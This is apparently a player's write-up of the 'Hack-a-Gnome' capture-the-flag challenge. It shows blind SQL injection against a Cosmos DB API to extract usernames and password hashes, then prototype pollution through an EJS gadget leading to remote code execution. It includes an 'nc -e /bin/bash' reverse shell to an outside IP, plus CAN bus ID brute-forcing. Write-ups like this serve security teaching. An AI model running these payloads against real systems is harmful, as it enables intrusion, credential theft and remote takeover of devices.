Hack-a-Gnome

  Challenge Progession:
Act III
Difficulty:
  Location:
Datacenter
Smart Gnome
Gnome Takeover

Once Act III is unlocked you will gain access to a secret door in the Datacenter. Enter that door and take the elevator down to the Gnome Factory. The area behind the door in the datacenter is a maze, but we will worry about that later. Chris Davis is attempting to turn one of the gnomes against their own kind. There is an application that controls the gnome, but we have to find a way in and find a way to control the gnome. The gnome control app is at this link:

https://hhc25-smartgnomehack-prod.holidayhackchallenge.com/login

You may get a message that your ID is missing. To resolve this, navigate to the Smart Gnome terminal in the game and click it.

Smart Gnome App

The application presents a very basic login page. There isn't much to do here seeing as registration seems to be closed. There is, however a feature that tells the user if a username is already taken or not. As you type, API calls are made to this endpoint and a json object returns reporting if the username is available or not.

Username Available
I loaded up this application with BURP Suite so I can use the Repeater to explore this API call.

Blind SQL Injection

In the BURP browser I loaded the Smart Gnome app and attempted to register a username in order to capture the username available API call.

Original API Call
I altered the username to have a basic SQL Injection test. I added a the common or 1=1 test to the request and the logic inverted! It went from available true to false.
SQLi Confirmed
This is good news for us, in that we can abuse a SQLi vulnerability to extract some data. The bad news is that since this is BLIND SQL Injection, we can only ask yes or no questions.

We also have to figure out what DBMS is being used here so we know what functions/syntax to use. Through some additional testing I found that the error messages produced are from an Azure Cosmos DB.

CosmosDB

Azure Cosmos DB is a scalable, distributed database service for Azure. This is the door we need to abuse to get to the database. It can support many different types of databases under the covers, but we are really only interacting with the CosmosDB query.

So to see what tools we have available I read the documentation around the Query functions. Check out this link:

https://learn.microsoft.com/en-us/cosmos-db/query/functions

This help document will list every function CosmosDB offers. We will use a combination of these to extract data out of the database.

Enumerate the Database

The only real aspect of this challenge that required guesswork is the alias used for the users collection in the query. This extraction only really works if you can reference other columns / fields in the collection. I saw a bunch of examples in the documentation that used the alias "c" for the collection. So, for instance if I wanted to reference a username, I have to say "c.username" because the query was constructed with a table alias. For example:

SELECT VALUE 
	c.username 
FROM 
	users c

Now that I know the collection alias, how do I get data out using Blind SQLi? To do this you have to be able to do 5 things:

  • Determine the number of keys in a collection object.
  • Determine the length of a key name.
  • Check if a specific character in the key name matchs a character.
  • Determine the length of a value.
  • Check if a specific character in the value name matchs a character.
If you can do this, especially with a script, you can enumerate all the keys and values out of the collection.

Remember, we can only ask yes or no questions. So we can ask questions like "Is the length of the number of keys equal to 1? equal to 2? equal to 3? and so on until we can get a yes. The functions we can use to help determine the number of keys are OBJECTTOARRAY, and ARRAY_LENGTH. OBJECTTOARRAY converts the collection to an array, so we can then call ARRAY_LENGTH which returns the length of the array. So to ask if there are 5 keys:

GET /userAvailable?username=" or ARRAY_LENGTH(OBJECTTOARRAY(c))=5-- 
Do this for the numbers starting at 1 and you get a hit on number 8. Remember for this API, its checking if the username is available or does NOT exist. So our query result will be inverted. Numbers 1-8 say available=true, when 9 says available=false. This means there are 8 columns in the table or collection.

The next question to answer is how long is the key name? We can use OBJECTTOARRAY as well as LENGTH to do this. Convert collection c to an array and reference the index of the key we want and then check the length value. So for instance to check if the key (['k']) at index 0 is length 5, use the following

GET /userAvailable?username=" or LENGTH(OBJECTTOARRAY(c)[0]['k'])=5--
Starting at 0, check all the numbers until you see available=false. In this example key at index 0 has a length of 2.

Now that you know the length of the key, start checking the if a character at a certain position matches a target character. To do this, you need to use OBJECTTOARRAY to reference the column name by index number, and then SUBSTRING to isolate a single character. Then compare that character to a list of characters one at a time until you get a match.

So for example if you want to check if the first character of the first key is "a", do the following:

GET /userAvailable?username=" or SUBSTRING(OBJECTTOARRAY(c)[0]['k'],0,1)='a'--
The result of this query is available=true, so no the first character is not "a". But do this for a list of all characters for each character in the key length and you can determine that the first key is "id". Remember this will call get done by a script in a second.

Retrieving values is a bit more challenging because if you want a value for a specific record, you need to reference it directly by username. Due to the structure of the query, if the name doesn't match any record, all your "c" references will only refer to one record at the beginning of the collection.

So my approach to the values is to get the name first, then I can reference the username AND the value I'm trying to retrieve...

GET /userAvailable?username=bob" and LENGTH(c.id)=1--
This will check if username bob's id is length 1. There may be a more sophisticated way to do this but this is how I did it in the fastest manner.

But how to get the usernames? There is a way that is slightly more complicated than just going character by character. You essentially have to ask "Does any user have a name that starts with this character?" When you get a yes, you have to remember that and ask for the the both the previous characters AND the next character.

Since the wildcard character in CostmosDB is an underscore, you can also find if any user has a username of length x, where x is the number of underscores in the query.

GET /userAvailable?username=" or c.username LIKE '_____'--
Now with a length you can build up usernames going character by character. You will see in the final script.

Now we have all the tools to do this in a script!

Automate!

I refuse to do all that by hand for each field I want. I wrote a python script to do this. I created a function that can submit this userAvailable API call and return if the query succeeded. Then I followed the steps above enumerating the records:

[
  {
    "username": "bruce",
    "id": "2",
    "digest": "d0a9ba00f80cbc56584ef245ffc56b9e"
  },
  {
    "username": "harold",
    "id": "1",
    "digest": "07f456ae6a94cb68d740df548847f459"
  }
]
Note that I ignored the built in keys that start with an underscore like _rs, _self, _etag, etc... These are not interesting for this challenge. If you want to see the python script for yourself, check it out here:

Hack-a-Gnome Enumeration Script

Logging In

Looking at the columns that were in the database, there is one called "digest" that looks like an MD5 hash. There are many sites dedicated to reverse hash lookups. So I picked one out and got a hit on user bruce's digest. The reversed digest for bruce is "oatmeal12".

Using these credentials, I can log into the Smart Gnome app.

Smart Gnome Status Page
We are presented with a status page that shows some statistics about the gnome as well as a camera feed. We can attempt to control the gnome with "wasd" keys but we get an error message about some CANBUS commands.
CANBUS Error
We need to go further if we want to take control of the gnome. Looking around one of the only things we can do is change the name of the gnome. Click the Update Name button and you can submit a new name for the gnome. Once you refresh the statistics tab, you will see the updated data.
Name Update
Looking at this API call to change the name, it looks like you may be able to change arbitrary values of the gnome_config_object. The API call is a GET request to a ctrlmsg endpoint:
GET /ctrlsignals?message=%7B%22action%22%3A%22update%22%2C%22key%22%3A%22settings%22%2C%22subkey%22%3A%22name%22%2C%22value%22%3A%22bob%22%7D
URL Decoded the payload, it looks like this:
{"action":"update","key":"settings","subkey":"name","value":"bob"}
The response says:
{"type":"message","data":"success","message":"Updated settings.name to bob"}
If we have arbitrary write access to gnome_config_object.settings, we can check if this application is vulnerable to prototype pollution.

In javascript, every object inherits from Object.prototype, when you request a property it walks up the prototype chain until it finds the property or reaches a null. The thing is that the prototype can be added or modified by the user. When a user changes a prototype's property, all objects in scope inherit that change. The problem is when an application blindly trusts data from a user-controlled object. Check out this link for more details:

https://www.kayssel.com/newsletter/issue-24/

To prove that prototype pollution is occuring, I can change the Object.prototype.toString function in the prototype to some string and see if there is an error:

{"action":"update","key":"__proto__","subkey":"toString","value":"test"}
Then when I refresh the statistics tab...
toString Error!
This means I successfully altered the object's prototype, because when it went to call toString() on the object, it threw an error because I overwrote it with some text. Now in prototype pollution lingo, I needed to find the correct "gadget". That is the mechanism I can abuse that will result in the application behaving badly (RCE, XSS, etc...). In this case I remember a hint mentioning that this is a template being rendered. There is an RCE payload example in the article I posted above. It is an example exploit for RCE via ejs (CVE-2022-29078). Modifying this payload to the request in this application, it would look like this:
{"action":"update","key":"__proto__","subkey":"outputFunctionName","value":"x;__output=global.process.mainModule.require('child_process').execSync('ls -la').toString();var y"}
Success!
The directory listing command worked! Now lets attempt a reverse shell. I setup my listener on my webserver and ran the reverse shell payload.
{"action":"update","key":"__proto__","subkey":"outputFunctionName","value":"x;__output =global.process.mainModule.require('child_process').exec('nc%20-e%20/bin/bash 104.237.141.134 9833');var y"}
Reverse Shell
I got the reverse shell connection. Notice in my payload I changed execSync to exec so the page isn't waiting for my shell to exit. Now checking out the files here I noticed that there are 2 files related to this challenge. There is server.js that runs the web application. When someone presses up,down,left, or right, it executes the canbus_client.py command:
// left right up down
const direction = requestPayload.direction;
const command = `/usr/bin/python3 /app/canbus_client.py "${direction}"`; // Construct the command

switch (direction) {
	case 'left':
	case 'right':
	case 'up':
	case 'down':
		console.log(`Executing command: ${command}`);
		exec(command, (error, stdout, stderr) => {
			if (error) {
				console.error(`Error executing command: ${error.message}`);
				// Optionally send error back, but the response is already sent
				return;
			}
			if (stderr) {
				console.error(`Command stderr: ${stderr}`);
				// Optionally send error back
				return;
			}
			console.log(`Command stdout: ${stdout}`);
		});
		res.send(JSON.stringify({ type: "message", data: "success", message: `Moving ${direction}` }));
		break;
	default:
		console.error("Unknown direction");
		res.send(JSON.stringify({ type: "message", data: "error", message: "Unknown direction" }));
		return;
}
Now lets check canbus_client.py and see what it is doing.
# Define CAN IDs (I think these are wrong with newest update, we need to check the actual device documentation)
COMMAND_MAP = {
    "up": 0x656,
    "down": 0x657,
    "left": 0x658,
    "right": 0x659,
    # Add other command IDs if needed
}
This script takes a string as an argument "up", "down", "left", "right". It looks up a CANBUS value to send based on the direction. We will need to "fix" these values in order to control the gnome. I downloaded and edited the code from canbus_client.py to instead send a range of values to the CANBUS in a loop. When I saw the gnome move in the camera feed, I knew I had the correct values. The full script will follow, this is just a snippet of the scanning code:
def scan(bus, start, stop):
    for x in range(start, stop+1):
        send_command(bus, x)
        time.sleep(1)
I started at 0x001 and made it to 0x201 before the gnome started moving. After some testing, I found that the correct values are:
  • Up = 0x201
  • Down = 0x202
  • Left = 0x203
  • Right = 0x204
I stripped down the canbus_client.py script and wrote an input listener for "wasd" to move the gnome the correct directions using the correct CANBUS values. I used the prototype pollution to download my version of canbus_client.py to the server via CURL and executed it.

With the corrected CANBUS values, I was able to navigate the factory floor and shutdown the factory!

Solution!
If you want to checkout my canbus script, look here:

chills_canbus_client.py